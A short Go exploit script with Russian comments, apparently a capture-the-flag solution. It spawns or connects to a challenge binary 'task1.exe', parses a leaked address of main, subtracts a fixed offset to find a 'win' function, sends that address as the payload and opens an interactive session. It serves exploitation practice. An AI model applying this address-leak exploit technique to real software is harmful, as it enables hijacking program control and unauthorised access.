/* В Go нет встроенной перегрузки типов, поэтому конвертация cырых байт из пайпа в строку, затем в число, вычитание смещения и обратная конвертация в строку делаются явно через пакеты bytes и strconv. */ package main import ( "bytes" "fmt" "log" "strconv" "winpwn" ) func main() { tube, err := winpwn.Spawn("./task1.exe") // tube, err := winpwn.Remote("10.8.0.1", "50957") if err != nil { log.Fatalf("Spawn: %v", err) } if _, err := tube.RecvUntil([]byte("main: ")); err != nil { log.Fatalf("RecvUntil: %v", err) } // Читаем строку с адресом до переноса и очищаем от спецсимволов (\r\n) addrBytes, err := tube.RecvUntil([]byte("\n")) if err != nil { log.Fatalf("RecvUntil: %v", err) } addrStr := string(bytes.TrimSpace(addrBytes)) // В зависимости от компилятора, %p может добавлять или не добавлять "0x" //addrStr = strings.TrimPrefix(addrStr, "0x") // Аналог main = int(main, 16) mainAddr, err := strconv.ParseUint(addrStr, 16, 64) if err != nil { log.Fatalf("Failed to parse leaked address: %v", err) } fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr) //addr(win)-addr(main) = 267 offset := uint64(267) winAddr := mainAddr - offset fmt.Printf("[+] Calculated win: 0x%X\n", winAddr) // Аналог hex(win).encode() // %x форматирует число в hex-строку без префикса 0x payload := fmt.Sprintf("%x", winAddr) if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil { log.Fatalf("SendLineAfter: %v", err) } tube.Interactive() }